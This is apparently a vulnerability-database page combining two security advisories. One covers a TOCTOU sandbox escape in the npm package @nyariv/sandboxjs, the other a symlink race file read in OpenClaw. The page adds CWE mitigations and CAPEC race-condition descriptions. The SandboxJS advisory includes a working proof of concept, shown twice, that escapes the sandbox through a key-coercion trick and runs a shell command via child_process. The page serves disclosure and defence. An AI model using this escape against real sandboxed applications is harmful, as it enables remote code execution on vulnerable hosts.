A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
Details
Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.
PoC
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();
Impact
Remote code execution, if attacker can execute code inside the sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.28"
},
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.29"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25641"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T21:33:04Z",
"nvd_published_at": "2026-02-06T20:16:11Z",
"severity": "CRITICAL"
},
"details": "### Summary\nA sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.\n\n### Details\nEven though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced:\nhttps://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304\nSo, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.\n\n### PoC\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\n\nconst code = `\nlet a = new Map;\na.x = 23;\nlet count = 0;\n\nlet nastyProp = {toString: () =\u003e {if (count\u003c1){count++;return \"x\"} else return \"__proto__\"}}\nlet mapProt = a[nastyProp];\nmapProt.has = isFinite;\nconsole.log(\n isFinite.constructor(\n \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls -lah\u0027).toString()\",\n )(),\n);`;\nconst scope = {};\nconst sandbox = new Sandbox();\nconst exec = sandbox.compile(code);\nexec(scope).run(); \n```\n\n### Impact\nRemote code execution, if attacker can execute code inside the sandbox.",
"id": "GHSA-7x3h-rm86-3342",
"modified": "2026-02-06T21:42:58Z",
"published": "2026-02-05T21:33:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25641"
},
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
},
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses"
}
GHSA-7XMQ-G46G-F8PV
Vulnerability from github – Published: 2026-03-02 21:55 – Updated: 2026-03-02 21:55Summary
Sandbox media handling had a time-of-check/time-of-use gap: media paths could be validated first and read later through a separate path. A symlink retarget between those steps could cause reads outside sandboxRoot.
Impact
Affected versions could permit host file reads outside the intended sandbox root in media attachment/image flows.
Fix
Media reads now use consolidated root-scoped, boundary-safe read paths at use time, removing check/use drift across call sites.
Affected and Patched Versions
- Affected:
<= 2026.2.26 - Patched:
2026.3.1
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T21:55:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nSandbox media handling had a time-of-check/time-of-use gap: media paths could be validated first and read later through a separate path. A symlink retarget between those steps could cause reads outside `sandboxRoot`.\n\n### Impact\nAffected versions could permit host file reads outside the intended sandbox root in media attachment/image flows.\n\n### Fix\nMedia reads now use consolidated root-scoped, boundary-safe read paths at use time, removing check/use drift across call sites.\n\n### Affected and Patched Versions\n- Affected: `\u003c= 2026.2.26`\n- Patched: `2026.3.1`",
"id": "GHSA-7xmq-g46g-f8pv",
"modified": "2026-03-02T21:55:47Z",
"published": "2026-03-02T21:55:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7xmq-g46g-f8pv"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Sandbox media TOCTOU could read files outside sandbox root"
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.